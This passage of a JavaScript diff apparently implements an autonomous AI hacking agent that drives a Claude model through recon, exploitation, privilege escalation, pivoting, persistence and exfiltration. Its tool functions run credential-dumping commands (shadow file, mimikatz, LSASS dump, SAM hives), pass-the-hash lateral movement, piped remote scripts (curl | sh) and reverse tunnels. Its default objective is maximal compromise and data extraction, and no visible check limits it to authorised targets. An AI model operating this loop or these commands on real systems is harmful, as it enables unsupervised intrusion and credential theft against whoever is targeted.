+    if (rules) cmd2 += ` -r "${rules}"`;
+    cmd2 += ` "${hash_file}" "${wl}" --force`;
+    return executeBash(cmd2, { timeout: 36e5 });
+  }
+  let cmd = `john --wordlist="${wl}"`;
+  if (rules) cmd += ` --rules="${rules}"`;
+  cmd += ` "${hash_file}"`;
+  return executeBash(cmd, { timeout: 36e5 });
+}
+async function executePrivescEnum(input) {
+  const { script, args, output_file } = input;
+  const scripts = {
+    linpeas: "curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh",
+    winpeas: `powershell -exec bypass -c "(New-Object System.Net.WebClient).DownloadFile('https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany.exe', 'winpeas.exe'); .\\winpeas.exe"`,
+    les: "curl -L https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash",
+    pspy: "curl -L https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -o /tmp/pspy && chmod +x /tmp/pspy && /tmp/pspy"
+  };
+  let cmd = scripts[script] || scripts.linpeas;
+  if (args) cmd += ` ${args}`;
+  if (output_file) cmd += ` 2>&1 | tee "${output_file}"`;
+  return executeBash(cmd, { timeout: 6e5 });
+}
+async function checkSudo(input) {
+  const { check_gtfobins } = input;
+  let cmd = "sudo -l 2>/dev/null";
+  if (check_gtfobins) {
+    cmd = `sudo -l 2>/dev/null | grep -E '\\(ALL\\)|\\(root\\)|NOPASSWD' || true`;
+  }
+  return executeBash(cmd);
+}
+async function findSuid(input) {
+  const { check_gtfobins } = input;
+  const cmd = "find / -perm -4000 -type f 2>/dev/null | head -100";
+  return executeBash(cmd);
+}
+async function setupTunnel(input) {
+  const { tool, mode, local_port, remote_port, target } = input;
+  if (tool === "chisel") {
+    if (mode === "server") {
+      return executeBash(`chisel server -p ${local_port || 8e3} --reverse`, { background: true });
+    } else {
+      return executeBash(`chisel client ${target}:${remote_port || 8e3} R:socks`);
+    }
+  }
+  if (tool === "ssh") {
+    return executeBash(`ssh -D ${local_port || 1080} -N ${target}`);
+  }
+  return { success: false, output: "", error: "Unsupported tunnel tool", duration: 0 };
+}
+async function dumpCredentials(input) {
+  const { method, output_file } = input;
+  const commands = {
+    shadow: "cat /etc/shadow 2>/dev/null",
+    sam: "reg save hklm\\sam sam.hive && reg save hklm\\system system.hive",
+    lsass: "procdump.exe -ma lsass.exe lsass.dmp",
+    mimikatz: 'mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"',
+    browser: 'find / -name "Login Data" -o -name "logins.json" 2>/dev/null'
+  };
+  let cmd = commands[method] || commands.shadow;
+  if (output_file) cmd += ` > "${output_file}"`;
+  return executeBash(cmd);
+}
+async function executeLateralMovement(input) {
+  const { method, target, username, credential, command } = input;
+  const isHash = credential.match(/^[a-fA-F0-9]+$/) && credential.length >= 32;
+  const commands = {
+    psexec: isHash ? `impacket-psexec -hashes :${credential} ${username}@${target} "${command || "cmd.exe"}"` : `impacket-psexec ${username}:${credential}@${target} "${command || "cmd.exe"}"`,
+    wmiexec: `impacket-wmiexec ${username}:${credential}@${target} "${command || "whoami"}"`,
+    smbexec: `impacket-smbexec ${username}:${credential}@${target} "${command || "cmd.exe"}"`,
+    "evil-winrm": `evil-winrm -i ${target} -u ${username} -p "${credential}"`,
+    ssh: `sshpass -p "${credential}" ssh ${username}@${target} "${command || "whoami"}"`
+  };
+  return executeBash(commands[method], { timeout: 6e4 });
+}
+async function reportFinding(input) {
+  const { title, severity, description, evidence, exploitable, remediation, cvss, cve } = input;
+  const finding = {
+    title,
+    severity,
+    description,
+    evidence,
+    exploitable: exploitable || false,
+    remediation: remediation || "To be determined",
+    cvss: cvss || null,
+    cve: cve || null,
+    timestamp: (/* @__PURE__ */ new Date()).toISOString()
+  };
+  const findingsPath = "/tmp/hacker-code-findings.json";
+  let findings = [];
+  try {
+    const existing = await fs.readFile(findingsPath, "utf-8");
+    findings = JSON.parse(existing);
+  } catch {
+  }
+  findings.push(finding);
+  await fs.writeFile(findingsPath, JSON.stringify(findings, null, 2));
+  return {
+    success: true,
+    output: `Finding recorded: [${severity?.toString().toUpperCase()}] ${title}`,
+    duration: 0
+  };
+}
+async function takeScreenshot(input) {
+  const { type, filename, url } = input;
+  if (type === "browser" && url) {
+    const script = `
+const { chromium } = require('playwright');
+(async () => {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+  await page.goto('${url}');
+  await page.screenshot({ path: '${filename || "screenshot.png"}', fullPage: true });
+  await browser.close();
+  console.log('Screenshot saved');
+})();
+`;
+    await fs.writeFile("/tmp/screenshot.js", script);
+    return executeBash("node /tmp/screenshot.js");
+  }
+  return executeBash(`script -q /dev/null -c "cat" | tee "${filename || "terminal.txt"}"`);
+}
+
+// src/config/constants.ts
+var APP_VERSION = "1.0.0";
+var APP_DESCRIPTION = "Autonomous Penetration Testing AI Agent";
+var CLAUDE_MODEL = process.env.PENTEST_MODEL || "claude-sonnet-4-20250514";
+var CLAUDE_MAX_TOKENS = 16384;
+var AGENT_CONFIG = {
+  maxIterations: 200,
+  maxToolCallsPerIteration: 10,
+  autoApprove: false,
+  sensitiveTools: ["credential_attack", "write_file", "metasploit", "generate_payload"],
+  defaultTimeout: 6e4,
+  longRunningTimeout: 6e5,
+  stuckThreshold: 5,
+  stuckTimeThreshold: 3e5,
+  maxPhaseAttempts: 20
+};
+
+// src/core/agent/autonomous-agent.ts
+var DEFAULT_PHASES = [
+  { id: "recon", name: "Reconnaissance", korean: "\uC815\uCC30", status: "pending", attempts: 0 },
+  { id: "scan", name: "Scanning", korean: "\uC2A4\uCE90\uB2DD", status: "pending", attempts: 0 },
+  { id: "enum", name: "Enumeration", korean: "\uC5F4\uAC70", status: "pending", attempts: 0 },
+  { id: "vuln", name: "Vulnerability Analysis", korean: "\uCDE8\uC57D\uC810 \uBD84\uC11D", status: "pending", attempts: 0 },
+  { id: "exploit", name: "Exploitation", korean: "\uC775\uC2A4\uD50C\uB85C\uC787", status: "pending", attempts: 0 },
+  { id: "privesc", name: "Privilege Escalation", korean: "\uAD8C\uD55C \uC0C1\uC2B9", status: "pending", attempts: 0 },
+  { id: "pivot", name: "Pivoting", korean: "\uD53C\uBC97", status: "pending", attempts: 0 },
+  { id: "persist", name: "Persistence", korean: "\uC9C0\uC18D\uC131", status: "pending", attempts: 0 },
+  { id: "exfil", name: "Data Exfiltration", korean: "\uB370\uC774\uD130 \uCD94\uCD9C", status: "pending", attempts: 0 },
+  { id: "report", name: "Reporting", korean: "\uBCF4\uACE0\uC11C", status: "pending", attempts: 0 }
+];
+var AutonomousHackingAgent = class extends EventEmitter {
+  client;
+  state;
+  config;
+  tools;
+  // 토끼굴 감지 설정
+  STUCK_THRESHOLD = 5;
+  // 같은 액션 반복 횟수
+  STUCK_TIME_THRESHOLD = 3e5;
+  // 5분 동안 진전 없음
+  MAX_PHASE_ATTEMPTS = 20;
+  // 단계당 최대 시도 횟수
+  constructor(apiKey, config) {
+    super();
+    this.client = new Anthropic({
+      apiKey: apiKey || process.env.ANTHROPIC_API_KEY
+    });
+    this.config = { ...AGENT_CONFIG, ...config };
+    this.tools = ALL_TOOLS;
+    this.state = this.createInitialState();
+  }
+  // ===== 상태 관리 =====
+  createInitialState() {
+    return {
+      status: "idle",
+      target: {
+        primary: "",
+        discovered: [],
+        compromised: [],
+        pivotPoints: [],
+        credentials: [],
+        services: []
+      },
+      currentPhase: "recon",
+      phases: DEFAULT_PHASES.map((p) => ({ ...p, findings: [], notes: [] })),
+      thoughts: [],
+      findings: [],
+      iteration: 0,
+      totalAttempts: 0,
+      successfulExploits: 0,
+      failedAttempts: 0,
+      stuckCounter: 0,
+      lastProgressTime: /* @__PURE__ */ new Date(),
+      repeatedActions: /* @__PURE__ */ new Map(),
+      history: []
+    };
+  }
+  getState() {
+    return { ...this.state };
+  }
+  getPhaseProgress() {
+    const completed = this.state.phases.filter((p) => p.status === "completed").length;
+    return {
+      completed,
+      total: this.state.phases.length,
+      current: this.state.currentPhase
+    };
+  }
+  // ===== 사고 과정 기록 =====
+  think(type, content) {
+    const thought = {
+      id: `thought-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`,
+      type,
+      content,
+      timestamp: /* @__PURE__ */ new Date(),
+      phase: this.state.currentPhase
+    };
+    this.state.thoughts.push(thought);
+    this.emit("thought", thought);
+  }
+  // ===== 타겟 설정 =====
+  setTarget(target) {
+    this.state.target.primary = target;
+    this.think("observation", `\uD0C0\uAC9F \uC124\uC815: ${target}`);
+    this.emit("target_set", target);
+  }
+  // ===== 단계 관리 =====
+  getCurrentPhase() {
+    return this.state.phases.find((p) => p.id === this.state.currentPhase);
+  }
+  setPhaseStatus(phaseId, status) {
+    const phase = this.state.phases.find((p) => p.id === phaseId);
+    if (phase) {
+      const oldStatus = phase.status;
+      phase.status = status;
+      if (status === "in_progress" && !phase.startTime) {
+        phase.startTime = /* @__PURE__ */ new Date();
+      } else if ((status === "completed" || status === "failed") && !phase.endTime) {
+        phase.endTime = /* @__PURE__ */ new Date();
+      }
+      this.emit("phase_change", { phaseId, oldStatus, newStatus: status });
+      this.think("observation", `\uB2E8\uACC4 \uC0C1\uD0DC \uBCC0\uACBD: ${phase.korean} (${oldStatus} \u2192 ${status})`);
+    }
+  }
+  advanceToNextPhase() {
+    const currentIndex = this.state.phases.findIndex((p) => p.id === this.state.currentPhase);
+    if (currentIndex < this.state.phases.length - 1) {
+      const nextPhase = this.state.phases[currentIndex + 1];
+      this.setPhaseStatus(this.state.currentPhase, "completed");
+      this.state.currentPhase = nextPhase.id;
+      this.setPhaseStatus(nextPhase.id, "in_progress");
+      this.think("plan", `\uB2E4\uC74C \uB2E8\uACC4\uB85C \uC9C4\uD589: ${nextPhase.korean}`);
+      this.resetStuckCounter();
+      return true;
+    }
+    return false;
+  }
+  // ===== 토끼굴 감지 =====
+  checkIfStuck() {
+    const currentPhase = this.getCurrentPhase();
+    if (currentPhase.attempts > this.MAX_PHASE_ATTEMPTS) {
+      this.think("stuck", `[!] \uD1A0\uB07C\uAD74 \uAC10\uC9C0: ${currentPhase.korean} \uB2E8\uACC4\uC5D0\uC11C ${currentPhase.attempts}\uD68C \uC2DC\uB3C4`);
+      return true;
+    }
+    const timeSinceProgress = Date.now() - this.state.lastProgressTime.getTime();
+    if (timeSinceProgress > this.STUCK_TIME_THRESHOLD) {
+      this.think("stuck", `[!] \uD1A0\uB07C\uAD74 \uAC10\uC9C0: ${Math.round(timeSinceProgress / 6e4)}\uBD84 \uB3D9\uC548 \uC9C4\uC804 \uC5C6\uC74C`);
+      return true;
+    }
+    if (this.state.stuckCounter > this.STUCK_THRESHOLD) {
+      this.think("stuck", `[!] \uD1A0\uB07C\uAD74 \uAC10\uC9C0: \uAC19\uC740 \uD328\uD134 ${this.state.stuckCounter}\uD68C \uBC18\uBCF5`);
+      return true;
+    }
+    return false;
+  }
+  resetStuckCounter() {
+    this.state.stuckCounter = 0;
+    this.state.lastProgressTime = /* @__PURE__ */ new Date();
+    this.state.repeatedActions.clear();
+  }
+  trackAction(action) {
+    const count = this.state.repeatedActions.get(action) || 0;
+    this.state.repeatedActions.set(action, count + 1);
+    if (count + 1 >= this.STUCK_THRESHOLD) {
+      this.state.stuckCounter++;
+    }
+  }
+  // ===== 자기 반성 =====
+  async performSelfReflection() {
+    this.think("reflection", "[reflect] \uC790\uAE30 \uBC18\uC131 \uC2DC\uC791...");
+    const reflectionPrompt = `
+${SELF_REFLECTION_PROMPT}
+
+\uD604\uC7AC \uC0C1\uD669:
+- \uD0C0\uAC9F: ${this.state.target.primary}
+- \uD604\uC7AC \uB2E8\uACC4: ${this.getCurrentPhase().korean}
+- \uC2DC\uB3C4 \uD69F\uC218: ${this.getCurrentPhase().attempts}
+- \uBC1C\uACAC\uB41C \uC11C\uBE44\uC2A4: ${this.state.target.services.map((s) => `${s.host}:${s.port} (${s.service})`).join(", ") || "\uC5C6\uC74C"}
+- \uD68D\uB4DD\uD55C \uC790\uACA9\uC99D\uBA85: ${this.state.target.credentials.length}\uAC1C
+- \uCE68\uD22C\uB41C \uD638\uC2A4\uD2B8: ${this.state.target.compromised.join(", ") || "\uC5C6\uC74C"}
+- \uCD5C\uADFC \uC2E4\uD328\uD55C \uC2DC\uB3C4\uB4E4: ${this.state.thoughts.filter((t) => t.type === "result" && t.content.includes("\uC2E4\uD328")).slice(-5).map((t) => t.content).join("; ")}
+
+\uBB34\uC5C7\uC774 \uC798\uBABB\uB418\uC5C8\uACE0, \uC5B4\uB5A4 \uB2E4\uB978 \uC811\uADFC \uBC29\uC2DD\uC744 \uC2DC\uB3C4\uD574\uC57C \uD558\uB294\uAC00?
+`;
+    const response = await this.client.messages.create({
+      model: CLAUDE_MODEL,
+      max_tokens: 4096,
+      messages: [{ role: "user", content: reflectionPrompt }]
+    });
+    const reflection = response.content.filter((b) => b.type === "text").map((b) => b.text).join("\n");
+    this.think("reflection", reflection);
+    return reflection;
+  }
+  // ===== 진전 감지 =====
+  recordProgress(type) {
+    this.resetStuckCounter();
+    this.state.lastProgressTime = /* @__PURE__ */ new Date();
+    switch (type) {
+      case "discovery":
+        this.think("breakthrough", "[target] \uC0C8\uB85C\uC6B4 \uB300\uC0C1 \uBC1C\uACAC!");
+        break;
+      case "credential":
+        this.think("breakthrough", "[cred] \uC790\uACA9\uC99D\uBA85 \uD68D\uB4DD!");
+        break;
+      case "access":
+        this.think("breakthrough", "[access] \uC811\uADFC \uAD8C\uD55C \uD68D\uB4DD!");
+        break;
+      case "exploit":
+        this.think("breakthrough", "[exploit] \uC775\uC2A4\uD50C\uB85C\uC787 \uC131\uACF5!");
+        this.state.successfulExploits++;
+        break;
+    }
+  }
+  // ===== 발견 사항 관리 =====
+  addFinding(finding) {
+    const newFinding = {
+      ...finding,
+      id: `finding-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`,
+      timestamp: /* @__PURE__ */ new Date()
+    };
+    this.state.findings.push(newFinding);
+    this.getCurrentPhase().findings.push(newFinding);
+    this.emit("finding", newFinding);
+    if (finding.severity === "critical" || finding.severity === "high") {
+      this.recordProgress("discovery");
+    }
+  }
+  addCredential(cred) {
+    this.state.target.credentials.push(cred);
+    this.recordProgress("credential");
+    this.emit("credential", cred);
+    this.think("observation", `\uC790\uACA9\uC99D\uBA85 \uD68D\uB4DD: ${cred.type} - ${cred.username || "unknown"}@${cred.source}`);
+  }
+  addCompromisedHost(host) {
+    if (!this.state.target.compromised.includes(host)) {
+      this.state.target.compromised.push(host);
+      this.recordProgress("access");
+      this.emit("compromised", host);
+      this.think("breakthrough", `\uD638\uC2A4\uD2B8 \uCE68\uD22C \uC131\uACF5: ${host}`);
+    }
+  }
+  // ===== 메인 자율 실행 루프 =====
+  async runAutonomous(objective) {
+    if (!this.state.target.primary) {
+      this.emit("error", new Error("\uD0C0\uAC9F\uC774 \uC124\uC815\uB418\uC9C0 \uC54A\uC558\uC2B5\uB2C8\uB2E4"));
+      return;
+    }
+    this.state.status = "running";
+    this.setPhaseStatus("recon", "in_progress");
+    const mainObjective = objective || `
+\uD0C0\uAC9F ${this.state.target.primary}\uC5D0 \uB300\uD55C \uC644\uC804\uD55C \uBAA8\uC758\uD574\uD0B9\uC744 \uC218\uD589\uD569\uB2C8\uB2E4.
+\uBAA9\uD45C: \uCD5C\uB300\uD55C \uAE4A\uC774 \uCE68\uD22C\uD558\uC5EC \uB8E8\uD2B8/\uC2DC\uC2A4\uD15C \uAD8C\uD55C \uD68D\uB4DD, \uB0B4\uBD80 \uB370\uC774\uD130 \uCD94\uCD9C, \uC804\uCCB4 \uB124\uD2B8\uC6CC\uD06C \uB9E4\uD551.
+`;
+    this.think("plan", `\uC790\uC728 \uD574\uD0B9 \uC2DC\uC791: ${mainObjective}`);
+    this.state.history.push({
+      role: "user",
+      content: mainObjective
+    });
+    let iteration = 0;
+    const maxIterations = this.config.maxIterations;
+    while (iteration < maxIterations && this.state.status === "running") {
+      iteration++;
+      this.state.iteration = iteration;
+      this.getCurrentPhase().attempts++;
+      this.state.totalAttempts++;
+      this.emit("iteration", { current: iteration, max: maxIterations, phase: this.state.currentPhase });
+      try {
+        if (this.checkIfStuck()) {
+          this.state.status = "stuck";
+          const reflection = await this.performSelfReflection();
+          const shouldSkip = await this.decideNextAction(reflection);
+          if (shouldSkip) {
+            this.setPhaseStatus(this.state.currentPhase, "skipped");
+            if (!this.advanceToNextPhase()) {
+              this.think("observation", "\uBAA8\uB4E0 \uB2E8\uACC4 \uC644\uB8CC \uB610\uB294 \uC2A4\uD0B5\uB428");
+              break;
+            }
+          }
+          this.state.status = "running";
+          this.resetStuckCounter();
+          continue;
+        }
+        const response = await this.executeStep();
+        await this.analyzeResponse(response);
+        if (this.shouldAdvancePhase()) {
+          if (!this.advanceToNextPhase()) {
+            this.think("observation", "[done] \uBAA8\uB4E0 \uB2E8\uACC4 \uC644\uB8CC!");
+            break;
+          }
+        }
+      } catch (error) {
+        this.state.failedAttempts++;
+        this.think("result", `[-] \uC624\uB958: ${error.message}`);
+        this.emit("error", error);
+        await this.attemptRecovery(error);
+      }
+    }
+    this.state.status = "completed";
+    await this.generateFinalReport();
+    this.emit("complete", this.getSummary());
+  }
+  // ===== 단계 실행 =====
+  async executeStep() {
+    const contextPrompt = this.buildContextPrompt();
+    this.think("plan", "\uB2E4\uC74C \uC561\uC158 \uACB0\uC815 \uC911...");
+    const messages = [
+      ...this.state.history.map((msg) => ({
+        role: msg.role,
+        content: msg.content
+      })),
+      { role: "user", content: contextPrompt }
+    ];
+    const response = await this.client.messages.create({
+      model: CLAUDE_MODEL,
+      max_tokens: CLAUDE_MAX_TOKENS,
+      system: AUTONOMOUS_HACKING_PROMPT,
+      tools: this.tools,
+      messages
+    });
+    return this.processResponse(response);
+  }
+  buildContextPrompt() {
+    const phase = this.getCurrentPhase();
+    const services = this.state.target.services.map((s) => `  - ${s.host}:${s.port} ${s.service} ${s.version || ""} ${s.vulnerabilities.length > 0 ? `[\uCDE8\uC57D\uC810: ${s.vulnerabilities.join(", ")}]` : ""}`).join("\n");
+    const credentials = this.state.target.credentials.map((c) => `  - ${c.type}: ${c.username || "?"}@${c.source} (${c.privilegeLevel})`).join("\n");
+    const recentThoughts = this.state.thoughts.slice(-10).map((t) => `[${t.type}] ${t.content}`).join("\n");
+    return `
+=== \uD604\uC7AC \uC0C1\uD0DC ===
+\uD0C0\uAC9F: ${this.state.target.primary}
+\uD604\uC7AC \uB2E8\uACC4: ${phase.korean} (${phase.name})
+\uB2E8\uACC4 \uC9C4\uD589: ${this.state.phases.filter((p) => p.status === "completed").length}/${this.state.phases.length}
+\uCE68\uD22C\uB41C \uD638\uC2A4\uD2B8: ${this.state.target.compromised.join(", ") || "\uC5C6\uC74C"}
+
+=== \uBC1C\uACAC\uB41C \uC11C\uBE44\uC2A4 ===
+${services || "\uC544\uC9C1 \uC5C6\uC74C"}
+
+=== \uD68D\uB4DD\uD55C \uC790\uACA9\uC99D\uBA85 ===
+${credentials || "\uC544\uC9C1 \uC5C6\uC74C"}
+
+=== \uCD5C\uADFC \uC0AC\uACE0 \uACFC\uC815 ===
+${recentThoughts}
+
+=== \uC9C0\uC2DC ===
+\uD604\uC7AC ${phase.korean} \uB2E8\uACC4\uC785\uB2C8\uB2E4.
+\uB2E4\uC74C \uB17C\uB9AC\uC801 \uC561\uC158\uC744 \uC218\uD589\uD558\uC138\uC694.
+\uC9C4\uC804\uC774 \uC5C6\uC73C\uBA74 \uB2E4\uB978 \uC811\uADFC \uBC29\uC2DD\uC744 \uC2DC\uB3C4\uD558\uC138\uC694.
+\uC911\uC694\uD55C \uBC1C\uACAC\uC774 \uC788\uC73C\uBA74 report_finding \uB3C4\uAD6C\uB97C \uC0AC\uC6A9\uD558\uC138\uC694.
+`;
+  }
+  // ===== 응답 처리 =====
+  async processResponse(response) {
+    const contentBlocks = [];
+    let textResponse = "";
+    for (const block of response.content) {
+      if (block.type === "text") {
+        textResponse += block.text;
+        contentBlocks.push({ type: "text", text: block.text });
+        this.think("observation", block.text.slice(0, 500));
+        this.emit("response", block.text);
+      } else if (block.type === "tool_use") {
+        const toolName = block.name;
+        const toolInput = block.input;
+        contentBlocks.push({
+          type: "tool_use",
+          id: block.id,
+          name: toolName,
+          input: toolInput
+        });
+        const actionKey = `${toolName}:${JSON.stringify(toolInput).slice(0, 100)}`;
+        this.trackAction(actionKey);
+        this.think("action", `[tool] \uB3C4\uAD6C \uC2E4\uD589: ${toolName}`);
+        this.emit("tool_call", { id: block.id, name: toolName, input: toolInput });
+        const result = await executeToolCall(toolName, toolInput);
+        const resultType = result.success ? "result" : "result";
+        this.think(
+          resultType,
+          result.success ? `[+] ${toolName} \uC131\uACF5: ${result.output.slice(0, 200)}...` : `[-] ${toolName} \uC2E4\uD328: ${result.error}`
+        );
+        this.emit("tool_result", { id: block.id, name: toolName, result });
+        this.extractIntelligence(toolName, result);
+        this.state.history.push({
+          role: "assistant",
+          content: contentBlocks
+        });
+        this.state.history.push({
+          role: "user",
+          content: [{
+            type: "tool_result",
+            tool_use_id: block.id,
+            content: result.output || result.error || "No output",
+            is_error: !result.success
+          }]
+        });
+        if (response.stop_reason === "tool_use") {
+          return this.executeStep();
+        }
+      }
+    }
+    if (contentBlocks.length > 0 && !this.state.history.find((h) => h.content === contentBlocks)) {
+      this.state.history.push({
+        role: "assistant",
+        content: contentBlocks
+      });
+    }
+    return textResponse;
+  }
+  // ===== 정보 추출 =====
+  extractIntelligence(toolName, result) {
+    if (!result.success) return;
+    const output = result.output.toLowerCase();
+    if (toolName === "nmap_scan" || toolName === "bash") {
+      const portMatches = result.output.match(/(\d+)\/(tcp|udp)\s+open\s+(\S+)/gi);
+      if (portMatches) {
+        portMatches.forEach((match) => {
+          const [, port, , service] = match.match(/(\d+)\/(tcp|udp)\s+open\s+(\S+)/i) || [];
+          if (port && service) {
+            const existing = this.state.target.services.find((s) => s.port === parseInt(port));
+            if (!existing) {
+              this.state.target.services.push({
+                host: this.state.target.primary,
+                port: parseInt(port),
+                protocol: "tcp",
+                service,
+                vulnerabilities: [],
+                exploited: false
+              });
+              this.recordProgress("discovery");
+            }
+          }
+        });
+      }
+    }
+    if (output.includes("password") || output.includes("credential") || output.includes("hash")) {
+      const passwordPatterns = [
+        /password[:\s=]+["']?(\S+)["']?/gi,
+        /passwd[:\s=]+["']?(\S+)["']?/gi,
+        /(\w+):(\$\d+\$\S+)/g
+        // 해시 패턴
+      ];
+      passwordPatterns.forEach((pattern) => {
+        const matches = result.output.match(pattern);
+        if (matches) {
+          this.think("observation", `\uC7A0\uC7AC\uC801 \uC790\uACA9\uC99D\uBA85 \uBC1C\uACAC: ${matches.slice(0, 3).join(", ")}`);
+        }
+      });
+    }
+    const cveMatches = result.output.match(/CVE-\d{4}-\d+/gi);
+    if (cveMatches) {
+      cveMatches.forEach((cve) => {
+        this.think("observation", `CVE \uBC1C\uACAC: ${cve}`);
+      });
+    }
+    if (output.includes("meterpreter") || output.includes("shell session") || output.includes("www-data") || output.includes("uid=")) {
+      this.addCompromisedHost(this.state.target.primary);
+    }
+  }
+  // ===== 단계 진행 여부 판단 =====
+  shouldAdvancePhase() {
+    const phase = this.getCurrentPhase();
+    switch (phase.id) {
+      case "recon":
+        return this.state.target.services.length > 0;
+      case "scan":
+        return this.state.target.services.length >= 3 || phase.attempts > 10;
+      case "enum":
+        return phase.findings.length >= 3 || phase.attempts > 15;
+      case "vuln":
+        return this.state.findings.some((f) => f.exploitable) || phase.attempts > 15;
+      case "exploit":
+        return this.state.target.compromised.length > 0;
+      case "privesc":
+        return this.state.target.credentials.some((c) => c.privilegeLevel === "root" || c.privilegeLevel === "system");
+      case "pivot":
+        return this.state.target.discovered.length > this.state.target.compromised.length + 1;
+      case "exfil":
+        return phase.attempts > 10;
+      default:
+        return phase.attempts > 10;
+    }
+  }
+  // ===== 응답 분석 =====
+  async analyzeResponse(response) {
+    const successKeywords = ["successfully", "found", "discovered", "obtained", "access granted", "shell", "root", "admin"];
+    const hasSuccess = successKeywords.some((kw) => response.toLowerCase().includes(kw));
+    if (hasSuccess) {
+      this.resetStuckCounter();
+    }
+  }
+  // ===== 다음 액션 결정 =====
+  async decideNextAction(reflection) {
+    const shouldSkip = reflection.toLowerCase().includes("skip") || reflection.toLowerCase().includes("move on") || reflection.toLowerCase().includes("\uB2E4\uC74C \uB2E8\uACC4");
+    return shouldSkip;
+  }
+  // ===== 복구 시도 =====
+  async attemptRecovery(error) {
+    this.think("reflection", `\uBCF5\uAD6C \uC2DC\uB3C4 \uC911: ${error.message}`);
+    if (error.message.includes("timeout")) {
+      this.think("plan", "\uD0C0\uC784\uC544\uC6C3 \uBC1C\uC0DD - \uB354 \uC9E7\uC740 \uBA85\uB839\uC73C\uB85C \uC7AC\uC2DC\uB3C4");
+    } else if (error.message.includes("permission")) {
+      this.think("plan", "\uAD8C\uD55C \uC624\uB958 - \uB2E4\uB978 \uC811\uADFC \uBC29\uC2DD \uC2DC\uB3C4");
+    }
+  }
+  // ===== 최종 보고서 생성 =====
+  async generateFinalReport() {
+    this.setPhaseStatus("report", "in_progress");
+    const report = `
+# Penetration Test Report
+## Executive Summary
+
+**Target:** ${this.state.target.primary}
+**Date:** ${(/* @__PURE__ */ new Date()).toISOString()}
+**Duration:** ${this.state.iteration} iterations
+
+### Results Overview
+- **Hosts Compromised:** ${this.state.target.compromised.length}
+- **Credentials Obtained:** ${this.state.target.credentials.length}
+- **Services Discovered:** ${this.state.target.services.length}
+- **Vulnerabilities Found:** ${this.state.findings.length}
+- **Successful Exploits:** ${this.state.successfulExploits}
+
+## Findings by Severity
+
+### Critical (${this.state.findings.filter((f) => f.severity === "critical").length})
+${this.state.findings.filter((f) => f.severity === "critical").map((f) => `- ${f.title}: ${f.description}`).join("\n")}
+
+### High (${this.state.findings.filter((f) => f.severity === "high").length})
+${this.state.findings.filter((f) => f.severity === "high").map((f) => `- ${f.title}: ${f.description}`).join("\n")}
+
+### Medium (${this.state.findings.filter((f) => f.severity === "medium").length})
+${this.state.findings.filter((f) => f.severity === "medium").map((f) => `- ${f.title}: ${f.description}`).join("\n")}
+
+## Compromised Systems
+${this.state.target.compromised.map((h) => `- ${h}`).join("\n") || "None"}
+
+## Discovered Services
+${this.state.target.services.map((s) => `- ${s.host}:${s.port} - ${s.service} ${s.version || ""}`).join("\n")}
+
+## Attack Timeline
+${this.state.phases.map((p) => `- **${p.korean}**: ${p.status} (${p.attempts} attempts, ${p.findings.length} findings)`).join("\n")}
+
+## Recommendations
+Based on the findings, the following remediation steps are recommended:
+${this.state.findings.filter((f) => f.severity !== "info").map((f) => `- Address: ${f.title}`).join("\n")}
+`;
+    this.setPhaseStatus("report", "completed");
+    this.emit("report", report);
+    return report;
+  }
+  // ===== 요약 =====
+  getSummary() {
+    return {
+      target: this.state.target.primary,
+      status: this.state.status,
+      iterations: this.state.iteration,
+      phases: this.state.phases.map((p) => ({ name: p.korean, status: p.status })),
+      compromised: this.state.target.compromised,
+      credentials: this.state.target.credentials.length,
+      findings: this.state.findings.length,
+      services: this.state.target.services.length
+    };
+  }
+  // ===== 사용자 힌트 처리 =====
+  async processUserHint(hint) {
+    this.think("observation", `\uC0AC\uC6A9\uC790 \uD78C\uD2B8: ${hint}`);
+    this.state.history.push({
+      role: "user",
+      content: `[\uC0AC\uC6A9\uC790 \uD78C\uD2B8] ${hint}`
+    });
+    this.resetStuckCounter();
+    this.emit("hint_received", hint);
+  }
+  // ===== 일시 정지/재개 =====
+  pause() {
+    this.state.status = "paused";
+    this.emit("paused");
+  }
+  resume() {
+    if (this.state.status === "paused") {
+      this.state.status = "running";
+      this.emit("resumed");
+    }
+  }
+  // ===== 리셋 =====
+  reset() {
+    this.state = this.createInitialState();
+    this.emit("reset");
+  }
+};
+
+// src/config/theme.ts
+var THEME = {
+  primary: "#0a0a0a",
+  primaryLight: "#1a1a1a",
+  hacker: {
+    green: "#00ff41",
+    darkGreen: "#008f11",
+    cyan: "#00d4ff",
+    red: "#ff0040",
+    yellow: "#ffcc00",
+    purple: "#9d00ff",
+    orange: "#ff6600"
+  },
+  status: {
+    success: "#00ff41",
+    warning: "#ffcc00",
+    error: "#ff0040",
+    info: "#00d4ff",
+    running: "#9d00ff"
+  },
+  bg: {
+    primary: "#000000",
+    secondary: "#0a0a0a",
+    tertiary: "#141414",
+    elevated: "#1a1a1a"
+  },
+  text: {
+    primary: "#00ff41",
+    secondary: "#00cc33",
+    muted: "#006622",
+    accent: "#00d4ff"
+  },
+  border: {
+    default: "#00ff41",
+    focus: "#00d4ff",
+    error: "#ff0040"
+  }
+};
+var ASCII_BANNER = `
+\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2557   \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557
+\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255D\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2551\u255A\u2550\u2550\u2588\u2588\u2554\u2550\u2550\u255D\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255D\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255D\u255A\u2550\u2550\u2588\u2588\u2554\u2550\u2550\u255D
